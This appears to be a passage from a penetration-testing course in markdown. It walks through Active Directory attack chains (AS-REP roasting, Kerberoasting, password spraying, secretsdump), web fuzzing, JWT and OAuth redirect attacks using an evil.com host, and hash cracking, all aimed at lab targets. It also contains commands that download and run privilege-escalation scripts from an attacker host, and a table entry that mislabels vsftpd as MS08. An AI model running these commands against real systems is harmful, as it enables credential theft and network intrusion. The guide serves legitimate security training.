# LDAP anonymous bind
ldapsearch -x -H ldap://DC_IP -b "dc=corp,dc=local" | head -50

# Kerbrute — username enumeration (no creds, no lockout risk)
kerbrute userenum --dc DC_IP -d corp.local /usr/share/seclists/Usernames/Kerberos/kerberos_users.txt
```

Phase 2 — With Valid Credentials

```
# Full SMB enumeration
nxc smb DC_IP -u user -p Password123 --shares --sessions --users --groups --pass-pol

# LDAP full dump
nxc ldap DC_IP -u user -p Password123 --users --groups --password-not-required --kerberoasting kerberoast.txt

# BloodHound collection
bloodhound-python -u user -p Password123 -d corp.local -c All -ns DC_IP
# Then: neo4j start, open BloodHound, import JSON files
```

Phase 3 — Analyze Results

Run each query in BloodHound: - “Find all Domain Admins” - “Shortest Paths to Domain Admins” - “Find Principals with DCSync Rights” - “Find AS-REP Roastable Users” - “Find Kerberoastable Users”

Signals That Matter

Signal	Attack
Users with no preauthentication	AS-REP Roasting
Users with SPN set	Kerberoasting
Unconstrained delegation	TGT capture
Constrained delegation	S4U2Proxy abuse
Writable SYSVOL or shares	File drop, persistence
Domain Admins with weak passwords	Direct DA compromise
ADCS with vulnerable templates	ESC1–ESC8
ACLs: GenericWrite, WriteDACL on DA	ACL abuse path

Quick Wins to Check First

```
# AS-REP roasting – no creds needed
GetNPUsers.py corp.local/ -usersfile users.txt -dc-ip DC_IP -no-pass

# Kerberoasting – with any domain user creds
GetUserSPNs.py corp.local/user:Password123 -dc-ip DC_IP -request

# Password spray – 1 password attempt across all users
kerbrute passwordspray --dc DC_IP -d corp.local users.txt 'Password123'
nxc smb DC_IP -u users.txt -p Password123 --no-bruteforce
```

Exercise

On TryHackMe “Attacktive Directory”:

Run each phase in order. Before looking at any hints, document: How many users? Any Kerberoastable accounts? Any AS-REP roastable? What shares are readable? Can you reach WinRM?

Source: 07-windows-active-directory-enterprise/10-integration-enterprise-grant-chain.md

Full AD Enumeration Chain Exercise

Complete end-to-end walkthrough targeting TryHackMe “Attacktive Directory” or HTB “Forest”.

Target Rooms

- TryHackMe “Attacktive Directory”: <https://tryhackme.com/room/attacktivedirectory>
- HTB “Forest” (retired, requires VIP): <https://app.hackthebox.com/machines/Forest>

Step 1 — Initial Recon

```
export DC=TARGET_IP
export DOMAIN=spookysec.local # replace with actual domain

nmap -sV -p 88,389,445,3389,5985 $DC
```

Expected open ports: 88 (Kerberos), 389 (LDAP), 445 (SMB), likely 3389 or 5985.

Step 2 — SMB Null Session

```
smbclient -L //$DC -N
smbmap -H $DC -u '' -p ''
```

Note: which shares are accessible anonymously?

Step 3 — User Enumeration

```
# Kerbrute against DC
kerbrute userenum --dc $DC -d $DOMAIN /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt

# Or use nxc if you have any creds
nxc smb $DC -u '' -p '' --users
```

Save valid usernames to `users.txt`.

Step 4 — AS-REP Roasting

```
GetNPUsers.py $DOMAIN/ -usersfile users.txt -dc-ip $DC -no-pass -format hashcat -outputfile asrep.txt  
cat asrep.txt
```

If hashes captured:

```
hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt
```

Step 5 — Use Cracked Credentials

```
# Confirm creds work  
nxc smb $DC -u cracked_user -p 'CrackedPassword'  
  
# Enumerate with creds  
nxc smb $DC -u cracked_user -p 'CrackedPassword' --shares --users --groups  
nxc ldap $DC -u cracked_user -p 'CrackedPassword' --kerberoasting kerb.txt
```

Step 6 — Kerberoasting

```
GetUserSPNs.py $DOMAIN/cracked_user:'CrackedPassword' -dc-ip $DC -request -outputfile kerb_hashes.txt  
hashcat -m 13100 kerb_hashes.txt /usr/share/wordlists/rockyou.txt
```

Step 7 — BloodHound Collection

```
bloodhound-python -u cracked_user -p 'CrackedPassword' -d $DOMAIN -c All -ns $DC
```

```
# Start BloodHound  
sudo neo4j start  
bloodhound &  
# Import the JSON files collected above
```

In BloodHound: run “Shortest Paths to Domain Admins” — follow the attack path.

Step 8 — Access DC

```
# If DA creds obtained  
evil-winrm -i $DC -u Administrator -p 'DomainAdminPassword'  
  
# Or with hash  
evil-winrm -i $DC -u Administrator -H NTLM_HASH  
secretsdump.py $DOMAIN/Administrator:'Password'@$DC
```

Documentation Template

Step	Command	Output/Finding
1	nmap	Ports 88,389,445 open
2	smbclient	SYSVOL, NETLOGON readable
3	kerbrute	3 valid users found
4	GetNPUsers	1 AS-REP hash captured
5	hashcat	Password cracked: Welcome1
6	GetUserSPNs	1 service ticket captured
7	bloodhound	DA path: svc_user → GenericWrite → DA
8	evil-winrm	Shell as Administrator

Phase — 08-kali-linux-methodology-tools

Directory: 08-kali-linux-methodology-tools/

Source: 08-kali-linux-methodology-tools/01-resources-environment.md

Kali Linux Setup and Resources

Get the VM image from kali.org/get-kali — use the pre-built VM (VMware or VirtualBox), not the installer ISO.

Initial Setup

```
sudo apt update && sudo apt full-upgrade -y
sudo apt install -y feroxbuster seclists gobuster ffuf nmap nikto exploitdb curl wget python3 netcat-traditional
```

Verify tools are present:

```
which nmap gobuster ffuf nikto curl wget python3 nc feroxbuster
```

SecLists

```
sudo apt install seclists
# or clone directly:
git clone https://github.com/danielmiessler/SecLists /usr/share/seclists
```

Key paths after install: - /usr/share/seclists/Discovery/Web-Content/ — directory wordlists - /usr/share/seclists/Discovery/DNS/ — subdomain wordlists - /usr/share/seclists/Passwords/ — password lists - /usr/share/wordlists/rockyou.txt.gz — unzip with `gunzip /usr/share/wordlists/rockyou.txt.gz`

Courses and Platforms

- TCM Security “Practical Ethical Hacking” — paid, best bang for OSCP prep
- TryHackMe “Jr Penetration Tester” path — free, structured, beginner-friendly
- HTB Academy “Penetration Tester” job role path — free with registration
- PortSwigger Web Security Academy — free, best for web vulns

Local Lab Targets

- Metasploitable2: download from SourceForge, run in same VM network as Kali
 - DVWA: `docker run -d -p 80:80 vulnerables/web-dvwa`
 - Juice Shop: `docker run -d -p 3000:3000 bkimminich/juice-shop`
 - TryHackMe machines: connect via OpenVPN (`sudo openvpn ~/thm.ovpn`)
-

Source: 08-kali-linux-methodology-tools/02-shell-and-package-hygiene.md

Kali Shell Setup for Pentest Work

Configure your shell and terminal before starting any lab — saves time during active testing.

tmux for Pentest Sessions

```
tmux new -s pentest      # start named session
Ctrl+B %                 # split vertically
Ctrl+B "                 # split horizontally
Ctrl+B arrow             # navigate panes
Ctrl+B d                 # detach (session persists)
tmux attach -t pentest   # reattach
```

History and Search

```
history | grep nmap      # find past nmap commands
history | grep gobuster
Ctrl+R                  # reverse search — type partial command
```

Useful Pentest Aliases

Add to `~/.bashrc` or `~/.zshrc`:

```
alias ll='ls -la'
alias www='python3 -m http.server 80'
alias www8='python3 -m http.server 8080'
alias listen='nc -lvnp 4444'
```

Reload: `source ~/.bashrc`

Per-Target Directory Structure

```
mkdir -p ~/labs/target/{recon,exploit,loot,report,screenshots}
```

Use target IP or hostname as directory name, e.g. `~/labs/10.10.10.5/`.

File Serving and Listeners

Serve files to victim (run on Kali):

```
python3 -m http.server 8080
```

Netcat listener (basic):

```
nc -lvnp 4444
```

socat listener (better — supports full TTY):

```
socat TCP-LISTEN:4444,reuseaddr FILE:`tty`,raw,echo=0
```

Note-Taking

Create a `notes.md` in each target directory. Minimum entries: IP, open ports, credentials found, flags captured, exploit path used.

Source: `08-kali-linux-methodology-tools/03-nmap-depth-local-targets-only.md`

nmap Methodology — All Scan Types

Only scan hosts you own or have explicit written permission to test. Practice on Metasploitable2 locally.

Scan Progression

Quick scan — run first, fast results:

```
nmap -sV --open target
```

Full scan — all ports, version detection, default scripts:

```
nmap -sV -sC -p- target -oA scans/full_scan
```

UDP scan — often missed, catches SNMP/DNS/TFTP:

```
nmap -sU --top-ports 20 target
```

OSCP methodology start (balances speed vs coverage):

```
nmap -sV -sC -p 1-10000 target -oA scans/initial
```

Output Formats

`-oA` saves three files: `.nmap` (text), `.gnmap` (greppable), `.xml` (importable).

Parse open ports from saved output:

```
grep "open" scans/full_scan.nmap  
grep "open" scans/full_scan.gnmap | awk '{print $2, $5}'
```

NSE Scripts

Run vulnerability scripts:

```
nmap --script vuln target
```

Specific script examples:

```
nmap --script smb-vuln-ms17-010 -p 445 target  
nmap --script ftp-anon -p 21 target  
nmap --script http-title -p 80,443,8080 target  
nmap --script ssh-auth-methods -p 22 target  
nmap --script mysql-empty-password -p 3306 target
```

Common Flags

Flag	Purpose
<code>-sV</code>	Service version detection
<code>-sC</code>	Default NSE scripts
<code>-p-</code>	All 65535 ports
<code>-oA</code>	Output all formats
<code>--open</code>	Show only open ports
<code>--min-rate 5000</code>	Speed up scan

Practice Target

Metasploitable2 local VM — run `nmap -sV -sC -p- <metasploitable_ip> -oA scans/meta2` and enumerate every service found.

Source: 08-kali-linux-methodology-tools/04-http-curl-first-debug-loop.md

curl for Web Reconnaissance and API Testing

Use curl before opening Burp — faster for quick checks, easier to script.

Basic Reconnaissance

Headers only (fast server fingerprint):

```
curl -I http://target
```

Verbose output — see full request/response including TLS handshake:

```
curl -sv http://target 2>&1 | less
```

Quick wins — always check these:

```
curl http://target/robots.txt
curl http://target/sitemap.xml
curl http://target/.htaccess
curl http://target/crossdomain.xml
```

POST Requests

Form data:

```
curl -X POST -d "user=admin&pass=test" http://target/login
```

JSON body:

```
curl -X POST -H "Content-Type: application/json" \
  -d '{"username":"admin","password":"test"}' \
  http://target/api/login
```

Authentication

Bearer token:

```
curl -H "Authorization: Bearer TOKEN" http://target/api/profile
```

Basic auth:

```
curl -u admin:password http://target/admin/
```

Cookie handling (save and reuse):

```
curl -c cookies.txt -b cookies.txt -X POST -d "user=admin&pass=admin" http://target/login
curl -b cookies.txt http://target/dashboard
```

Useful Flags

Flag	Purpose
<code>-L</code>	Follow redirects
<code>-k</code>	Ignore TLS certificate errors
<code>-I</code>	HEAD request (headers only)
<code>-sv</code>	Verbose with TLS info
<code>-o file</code>	Save output to file
<code>-w "%{http_code}"</code>	Print response code only

Check Response Code

```
curl -o /dev/null -s -w "%{http_code}\n" http://target/admin/
```

Practice

Run all basic recon commands against DVWA at `http://localhost:80` before using Burp. Spot what information the headers leak.

Source: `08-kali-linux-methodology-tools/05-gobuster-directory-discovery.md`

Directory and File Discovery with gobuster

gobuster is fast and straightforward — use it for directory brute-forcing and subdomain enumeration.

Install

```
sudo apt install gobuster
```

Directory Mode

Quick scan with common wordlist:

```
gobuster dir -u http://target -w /usr/share/wordlists/dirb/common.txt -t 50
```

Thorough scan with extensions:

```
gobuster dir -u http://target \  
-w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt \  
-x php,txt,html,bak,old,zip \  
-t 40 \  
-o gobuster_results.txt
```

Exclude noise (skip 404 and 403):

```
gobuster dir -u http://target -w wordlist.txt -b 404,403 -t 40
```

Show full URLs in output:

```
gobuster dir -u http://target -w wordlist.txt -e
```

DNS Mode — Subdomain Enumeration

```
gobuster dns -d target.com \
-w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
-t 50
```

Vhost Mode

```
gobuster vhost -u http://target -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
--append-domain
```

Wordlist Selection

Wordlist	Use Case
dirb/common.txt	Fast first pass
directory-list-2.3-medium.txt	Thorough directory scan
raft-medium-directories.txt	Good general-purpose
SecLists/Discovery/Web-Content/	Full collection

Practice

Run against DVWA (`http://localhost`) and Juice Shop (`http://localhost:3000`). Compare what each wordlist finds.

Source: `08-kali-linux-methodology-tools/06-fuzzing-surfaces-with-ffuf.md`

ffuf — Fast Fuzzing for Web Targets

ffuf is faster than gobuster for most web fuzzing tasks and more flexible for parameter/header fuzzing.

Install

```
sudo apt install ffuf
```

Directory Discovery

Basic:

```
ffuf -u http://target/FUZZ -w /usr/share/wordlists/dirb/common.txt
```

With extensions:

```
ffuf -u http://target/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-words.txt \
-e .php,.html,.txt,.bak
```

Parameter Fuzzing

GET parameter name discovery:

```
ffuf -u "http://target/page?FUZZ=value" \
-w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt \
-mc 200
```

POST body fuzzing:


```
ffuf -u http://target/login \
-X POST \
-d "user=FUZZ&pass=test" \
-w /usr/share/seclists/Usernames/top-usernames-shortlist.txt \
-H "Content-Type: application/x-www-form-urlencoded"
```

Vhost Enumeration

First get baseline response size, then filter it:

```
# Step 1: note response size for invalid vhost
curl -o /dev/null -s -w "%{size_download}\n" -H "Host: invalid.target.com" http://target

# Step 2: fuzz and filter that size
ffuf -u http://target -H "Host: FUZZ.target.com" \
-w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
-fs 1234
```

Filtering Responses

Flag	Purpose
-fs SIZE	Filter by response size
-fc 404,403	Filter by status code
-mc 200,302	Match only these codes
-fw NUM	Filter by word count
-rate 50	Limit requests per second

Reduce False Positives

Run once, note the most common response size, then add `-fs SIZE` to filter it out.

Practice

TryHackMe “Content Discovery” room. Also try parameter fuzzing against Juice Shop (`http://localhost:3000`).

Source: `08-kali-linux-methodology-tools/07-local-jwt-forensics.md`

JWT Analysis and Attack

JWTs appear in Authorization headers (`Bearer eyJ...`) and cookies. Practice on Juice Shop which uses JWTs throughout.

Spot JWTs

In Burp HTTP History: search for `Bearer` or `eyJ` . In browser DevTools: Application tab → Cookies or LocalStorage.

Decode Without Tools

```
# Decode header (part 1)
echo "eyJhbGciOiJIUzI1NiJ9" | base64 -d 2>/dev/null

# Decode payload (part 2)
echo "eyJzdWIiOiJ1c2VyIiwicm9sZSI6InVzZXIifQ" | base64 -d 2>/dev/null

# One-liner for full JWT payload
echo "eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJ1c2VyIn0.xxx" | cut -d. -f2 | base64 -d 2>/dev/null
```

Online decoder: jwt.io — paste token, see header/payload decoded.

None Algorithm Attack (in Burp)

1. Install JWT Editor extension in Burp
2. Intercept a request with a JWT
3. Go to JSON Web Token tab
4. Click “Attack” → “None Signing Algorithm”
5. Modify payload (e.g. change `"role": "user"` to `"role": "admin"`)
6. Forward the modified request

Weak Secret — Hashcat

```
# Crack JWT with rockyou
hashcat -m 16500 jwt.txt /usr/share/wordlists/rockyou.txt

# jwt.txt contains the full token: header.payload.signature
```

Key Confusion Attack (RS256 → HS256)

If server uses RS256, try switching to HS256 and signing with the public key. JWT Editor in Burp handles this — “Embedded JWK” attack.

Find JWTs in Traffic

Burp History → Filter → search `Bearer` in request headers. Export interesting JWTs to a file for cracking.

Practice

Juice Shop exercise: 1. Login, capture the JWT from the Authorization header 2. Decode payload — note the `email` field 3. Attempt to crack signature with `hashcat -m 16500` 4. Try changing the `role` claim and re-submitting (none algorithm attack)

Source: `08-kali-linux-methodology-tools/08-local-oauth-observation-loop.md`

OAuth Flow Observation and Testing

Intercept and test OAuth flows with Burp Proxy. Practice on PortSwigger OAuth labs.

Intercept OAuth in Burp

1. Open Burp, set browser proxy to 127.0.0.1:8080
2. Browse to the target app and click “Login with Google/GitHub/etc.”
3. Watch HTTP History — the OAuth flow appears as a sequence of requests

What to Look For

Authorization request — watch for these parameters:

```
GET /oauth/authorize?client_id=APP&redirect_uri=https://target.com/
callback&state=RANDOM&response_type=code
```

Key checks: - Is `state` parameter present? Is it validated? - What is the `redirect_uri`? Can it be changed?

Test State Parameter (CSRF)

```
# Copy the full /authorize URL
# Remove the state parameter
# Does auth still complete? If yes: CSRF vulnerability
```

Test redirect_uri Manipulation

In Burp, intercept the authorization request and modify `redirect_uri`:

```
redirect_uri=https://target.com/callback
→ try: redirect_uri=https://evil.com
→ try: redirect_uri=https://target.com/evil.com
→ try: redirect_uri=https://target.com/callback/../admin
```

If the server redirects with the auth code to your modified URI: account takeover via token theft.

Authorization Code — Grab It

After the callback redirect, the URL contains:

```
https://target.com/callback?code=AUTHCODE&state=VALUE
```

Capture this code in Burp. Try replaying it — is single-use enforced?

Token Endpoint

Find the POST to `/oauth/token`. Body typically:

```
grant_type=authorization_code&code=AUTHCODE&redirect_uri=...&client_id=...&client_secret=...
```

Check: is `client_secret` exposed client-side?

Practice

PortSwigger OAuth labs: - Apprentice lab 1: Authentication bypass via OAuth implicit flow - Apprentice lab 2: Forced OAuth profile linking - Practitioner lab 1: OAuth account hijacking via `redirect_uri` - Practitioner lab 2: Stealing OAuth access tokens via an open redirect

Source: `08-kali-linux-methodology-tools/09-integration-lab-chain.md`

Full Reconnaissance Chain on a Target

Practice this chain on Metasploitable2 (local VM) or TryHackMe “Basic Pentesting” room. Goal: complete in under 45 minutes.

Setup

```
# Create target workspace
mkdir -p ~/labs/target/{recon,exploit,loot,report}
TARGET=10.10.10.5 # replace with actual IP
```

Step 1 — nmap

```
nmap -sV -sC -p- $TARGET -oA ~/labs/target/recon/nmap_full
```

While waiting, start quick scan in another tmux pane:

```
nmap -sV --open --min-rate 5000 $TARGET
```

Step 2 — Web (if port 80/443/8080 found)

```
curl -I http://$TARGET
curl http://$TARGET/robots.txt
gobuster dir -u http://$TARGET -w /usr/share/wordlists/dirb/common.txt -x php,txt,html -t 40
nikto -h http://$TARGET
```

Step 3 — SMB (if port 445 found)

```
smbclient -L //$TARGET -N
nmap --script smb-vuln-ms17-010 -p 445 $TARGET
```

Step 4 — FTP (if port 21 found)

```
ftp $TARGET
# user: anonymous, password: (blank or email)
```

Step 5 — Search Exploits

```
# After identifying service versions from nmap output:
searchsploit vsftpd 2.3.4
searchsploit "UnrealIRCd"
searchsploit apache 2.2
```

Step 6 — SNMP (if port 161/UDP found)

```
nmap -sU -p 161 $TARGET
snmpwalk -v2c -c public $TARGET
```

Step 7 — Document Findings

Create a table in `~/labs/target/report/notes.md`:

Port	Service	Version	Notes	Exploitable?
21	FTP	vsftpd 2.3.4	anonymous login OK	YES - MS08
80	HTTP	Apache 2.2.8	DVWA running	YES - SQLi
445	SMB	Samba 3.x	MS17-010 check	MAYBE

Step 8 — Identify Attack Vector

Pick the 2-3 most promising findings and note the specific exploit or technique to try next.

Source: [08-kali-linux-methodology-tools/10-structured-review-checklist-extension.md](#)

OSCP-Style Enumeration Checklist

Run this checklist on every machine. Never skip a port. Start the full nmap scan first, then work through services as they appear.

Checklist

```
[ ] nmap -sV -sC -p- target -oA scans/nmap_full
[ ] nmap -sU --top-ports 100 target -oA scans/nmap_udp

[ ] HTTP/HTTPS (80, 443, 8080, 8443)?
  [ ] curl -I http://target && curl http://target/robots.txt
  [ ] gobuster dir -u http://target -w common.txt -x php,txt,html
  [ ] nikto -h http://target
  [ ] Review page source (Ctrl+U) for comments, hidden fields, paths

[ ] SMB (139, 445)?
  [ ] smbclient -L //target -N
  [ ] nxc smb target -u '' -p '' --shares
  [ ] nmap --script smb-vuln-ms17-010 -p 445 target

[ ] SSH (22)?
  [ ] Check version in nmap output
  [ ] searchsploit openssh <version>
  [ ] Default credentials if web app found first

[ ] FTP (21)?
  [ ] ftp target → user: anonymous, pass: (blank)
  [ ] nmap --script ftp-anon -p 21 target

[ ] SNMP (161/UDP)?
  [ ] nmap -sU -p 161 target
  [ ] snmpwalk -v2c -c public target
  [ ] snmpwalk -v2c -c private target

[ ] Found service version?
  [ ] searchsploit <service> <version>
  [ ] Google "<service> <version> exploit"

[ ] Found webapp?
  [ ] Manual test: auth, input fields, file uploads, directory traversal
  [ ] Burp Suite — enable proxy, browse all functionality

[ ] Have credentials?
  [ ] nxc smb target -u user -p pass
  [ ] nxc ssh target -u user -p pass
  [ ] Spray across all open services

[ ] Linux target with shell?
  [ ] wget http://LHOST:8080/linpeas.sh && chmod +x linpeas.sh && ./linpeas.sh

[ ] Windows target with shell?
  [ ] certutil -urlcache -f http://LHOST:8080/winpeas.exe winpeas.exe && winpeas.exe
```

Notes

- Document every open port even if no immediate exploit found
 - Low-numbered ports and unusual ports (e.g. 3306, 5432, 6379, 27017) are often overlooked
 - Re-enumerate after gaining access — internal services may now be reachable
-

Phase — 09-enumeration-methodology-deepening

Directory: 09-enumeration-methodology-deepening/

Source: 09-enumeration-methodology-deepening/01-resources-and-note-taking.md

Resources and Note-Taking Setup for Enumeration

Set up your note-taking and lab environment before starting any machine.

Learning Platforms

- TryHackMe “Jr Penetration Tester” path — structured, beginner-to-intermediate
- HTB Academy “Penetration Tester” job role path — free with registration, covers AD enumeration
- TryHackMe “Nmap”, “Content Discovery”, “Attacktive Directory” — individual rooms for specific tools

Note-Taking Tools

Obsidian — recommended: markdown, local, searchable, graph view for AD relationships:

```
# Download from obsidian.md — AppImage for Linux
chmod +x Obsidian*.AppImage && ./Obsidian*.AppImage
```

CherryTree — tree structure, popular in OSCP community:

```
sudo apt install cherrytree
```

Directory Structure Per Engagement

```
mkdir -p ~/labs/TARGET_NAME/{recon,scans,exploit,loot,screenshots,report}
```

Replace TARGET_NAME with hostname or IP. Keep all tool output here.

Minimum Note Template Per Machine

```
Hostname:
IP:
OS:

Open Ports:
| Port | Service | Version | Notes |
|-----|-----|-----|-----|

Credentials Found:
- service: user:pass

Flags:
- user.txt:
- root.txt:

Attack Path:
1.
2.
3.
```

Tools Covered in This Phase

nmap, gobuster, ffuf, enum4linux-ng, smbclient, NetExec (nxc), ldapsearch, BloodHound, LinPEAS, WinPEAS, Impacket suite, Kerbrute — install all upfront:

```
sudo apt install -y nmap gobuster ffuf enum4linux smbclient bloodhound neo4j python3-impacket
pip3 install kerbrute 2>/dev/null || sudo apt install kerbrute
curl -L https://github.com/Pennyw0rth/NetExec/releases/latest/download/nxc -o /usr/local/bin/nxc && ch
mod +x /usr/local/bin/nxc
```

Source: 09-enumeration-methodology-deepening/02-nmap-methodology-internal-labs-only.md

nmap as Primary Enumeration Tool — Complete Methodology

Four-phase approach: fast scan first, then progressively deepen. Only scan hosts you own or have permission to test.

Phase 1 — Fast Initial Scan

```
nmap -sV --open --min-rate 5000 target
```

Gets results in ~30 seconds. Identifies most common open ports and services.

Phase 2 — Full TCP Scan

```
nmap -sV -sC -p- target -oA scans/nmap_full
```

All 65535 ports, version detection, default scripts. Run this in background while working Phase 1 results.

Phase 3 — UDP Scan

```
nmap -sU --top-ports 100 target -oA scans/nmap_udp
```

Catches SNMP (161), DNS (53), TFTP (69), NTP (123). Often overlooked.

Phase 4 — Targeted Script Scans

Run after identifying services:

```
nmap --script vuln target -oA scans/nmap_vuln
nmap --script smb-vuln-ms17-010,smb-enum-shares,smb-enum-users -p 445 target
nmap --script http-title,http-methods,http-auth-finder -p 80,443,8080 target
```

Useful NSE Scripts by Service

Service	Script
FTP	ftp-anon , ftp-bounce
SSH	ssh-auth-methods , ssh-hostkey
SMB	smb-vuln-ms17-010 , smb-enum-shares
HTTP	http-title , http-methods
MySQL	mysql-empty-password , mysql-info
SNMP	snmp-info , snmp-sysdescr

Parse Results

```
# Extract open ports and services
grep "open" scans/nmap_full.nmap | awk '{print $1, $3}'

# Get just port numbers for other tools
grep "open" scans/nmap_full.gnmap | grep -oP '\d+/open' | cut -d/ -f1 | tr '\n' ','
```

Practice

TryHackMe “Nmap” room — covers all scan types with exercises. Then run full methodology against TryHackMe “Basic Pentesting” room.

Source: [09-enumeration-methodology-deepening/03-ffuf-api-and-path-enumeration.md](#)

ffuf for API Endpoint Discovery

API endpoints often aren't linked in the UI. Fuzz them explicitly with targeted wordlists.

API Path Discovery

```
ffuf -u http://target/api/FUZZ \
-w /usr/share/seclists/Discovery/Web-Content/api/api-endpoints.txt \
-mc 200,201,204,400,401,403
```

Generic paths:

```
ffuf -u http://target/FUZZ \
-w /usr/share/seclists/Discovery/Web-Content/raft-medium-words.txt \
-mc 200,301,302,403
```

Method Fuzzing on Found Endpoints

```
ffuf -u http://target/api/users \
-w /usr/share/seclists/Fuzzing/http-request-methods.txt \
-X FUZZ \
-mc 200,201,204,405
```

Parameter Name Fuzzing

GET parameter discovery:

```
ffuf -u "http://target/search?FUZZ=test" \
-w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt \
-mc 200 -fs 1234
```

POST parameter discovery:

```
ffuf -u http://target/api/user \
-X POST \
-d "FUZZ=value" \
-H "Content-Type: application/x-www-form-urlencoded" \
-w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt \
-mc 200,400,422
```

JSON parameter fuzzing:


```
ffuf -u http://target/api/user \
-X POST \
-d '{"FUZZ":"value"}' \
-H "Content-Type: application/json" \
-w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt \
-mc 200,400,422
```

Handle Rate Limiting

```
ffuf -u http://target/api/FUZZ -w wordlist.txt -rate 10
```

Reduce False Positives

```
# Step 1: run once, note most common response size
ffuf -u http://target/api/FUZZ -w wordlist.txt -mc all 2>&1 | grep -oP 'Size: \d+' | sort | uniq -c |
sort -rn | head

# Step 2: filter that size
ffuf -u http://target/api/FUZZ -w wordlist.txt -fs 742
```

Practice

Juice Shop API enumeration — run ffuf against `http://localhost:3000/api/FUZZ` and map all reachable endpoints before reading source code.

Source: [09-enumeration-methodology-deepening/04-gobuster-and-recursive-discovery.md](#)

gobuster and Recursive Directory Discovery

gobuster for targeted scans, feroxbuster when you need recursive depth.

gobuster — Standard Directory Scan

```
gobuster dir -u http://target \
-w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt \
-x php,asp,aspx,txt,html,bak,old,zip \
-t 40 \
-o scans/gobuster.txt
```

gobuster — DNS Subdomain Enumeration

```
gobuster dns -d target.com \
-w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt \
-t 50
```

gobuster — Vhost Enumeration

```
gobuster vhost -u http://target.com \
-w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
--append-domain
```

feroxbuster — Recursive Discovery

feroxbuster automatically recurses into found directories:

```
sudo apt install feroxbuster

feroxbuster -u http://target \
-w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt \
-x php,html,txt \
-r \
-o scans/ferox.txt
```

Limit recursion depth:

```
feroxbuster -u http://target -w wordlist.txt -d 3
```

Filter status codes:

```
feroxbuster -u http://target -w wordlist.txt -C 404,403,302
```

Wordlist Selection

Wordlist	Speed	Coverage
dirb/common.txt	Fast	Low
raft-medium-directories.txt	Medium	Good
directory-list-2.3-medium.txt	Slow	High
directory-list-2.3-big.txt	Very slow	Very high

When to Use Each Tool

- gobuster: quick targeted scan, DNS/vhost enumeration
- feroxbuster: webapp with many nested directories, need recursion
- ffuf: parameter and header fuzzing, more filter options

Practice

TryHackMe “Content Discovery” room. Run both gobuster and feroxbuster against the same target and compare output.

Source: [09-enumeration-methodology-deepening/05-password-hash-lab-etiquette.md](#)

Password Cracking and Hash Identification

Only crack hashes from systems you own or have explicit authorization to test.

Identify Hash Type

```
hashid 'hash_value_here'
hash-identifier # interactive, paste hash
```

Common hash formats:

Hash	Length	Example
MD5	32 hex	5f4dcc3b5aa765d61d8327deb882cf99
SHA1	40 hex	5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8
SHA256	64 hex	...
NTLM	32 hex	looks like MD5 but different algorithm
bcrypt	starts with \$2y\$	\$2y\$10\$...
NTLMv2	username::domain:challenge:hash	from Responder capture

Hashcat Modes

Mode	Hash Type
0	MD5
100	SHA1
1000	NTLM
3200	bcrypt
13100	Kerberos TGS (Kerberoasting)
18200	AS-REP (AS-REP roasting)
22000	WPA2
5600	NTLMv2

Crack Commands

MD5 with rockyou:

```
hashcat -m 0 hash.txt /usr/share/wordlists/rockyou.txt
```

NTLM with rules:

```
hashcat -m 1000 ntlm.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule
```

Kerberoast TGS:

```
hashcat -m 13100 tgs_hashes.txt /usr/share/wordlists/rockyou.txt
```

AS-REP roast:

```
hashcat -m 18200 asrep_hashes.txt /usr/share/wordlists/rockyou.txt
```

John the Ripper

```
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
john --format=NT hash.txt --wordlist=rockyou.txt
john --show hash.txt # show cracked results
```

Unshadow (Linux /etc/shadow)

```
unshadow /etc/passwd /etc/shadow > combined.txt
john combined.txt --wordlist=/usr/share/wordlists/rockyou.txt
```

Practice

TryHackMe “Crack the Hash” room — identifies and cracks multiple hash types in sequence.

Source: [09-enumeration-methodology-deepening/06-smb-shares-with-smbclient.md](#)

SMB Enumeration Toolkit

SMB is one of the most exploitable services on Windows targets. Enumerate it thoroughly on every machine with port 445 open.

List Shares

Null session (no credentials):

```
smbclient -L //target -N
```

With credentials:

```
smbclient -L //target -U username%password
```

Connect to a Share

```
smbclient //target/sharename -U username%password
```

Inside smbclient:

```
ls                # list files
get filename      # download file
put localfile     # upload file
recurse ON       # enable recursive operations
mget *           # download all files
```

Mount SMB Share

```
sudo mkdir /mnt/smb
sudo mount -t cifs //target/sharename /mnt/smb -o username=user,password=pass
ls /mnt/smb
sudo umount /mnt/smb
```

NetExec (nxc) — Modern CrackMapExec

Null session enumeration:

```
nxc smb target -u '' -p '' --shares
nxc smb target -u 'guest' -p '' --shares
```

Authenticated enumeration:

```
nxc smb target -u user -p pass --shares
nxc smb target -u user -p pass --sessions
nxc smb target -u user -p pass --users
nxc smb target -u user -p pass --groups
```

Password spraying:

```
nxc smb target -u users.txt -p passwords.txt --continue-on-success
```

nmap SMB Scripts

```
nmap -p 445 --script smb-enum-shares,smb-enum-users,smb-security-mode target
nmap -p 445 --script smb-vuln-ms17-010 target
nmap -p 445 --script smb-vuln-ms08-067 target
```

High-Value Targets in Shares

- `SYSVOL` and `NETLOGON` shares — look for GPP files with passwords (`Groups.xml`, `Services.xml`)

- Backup shares — often contain config files, database dumps
- User home shares — look for scripts, config files, SSH keys

GPP password decode:

```
gpp-decrypt 'encrypted_cpassword_value_here'
```

Practice

Run full SMB enumeration against Metasploitable2. Then TryHackMe “Network Services” room — SMB section.

Source: [09-enumeration-methodology-deepening/07-enum4linux-style-signal-harvest.md](#)

Linux/Windows Enumeration — User and Group Harvesting

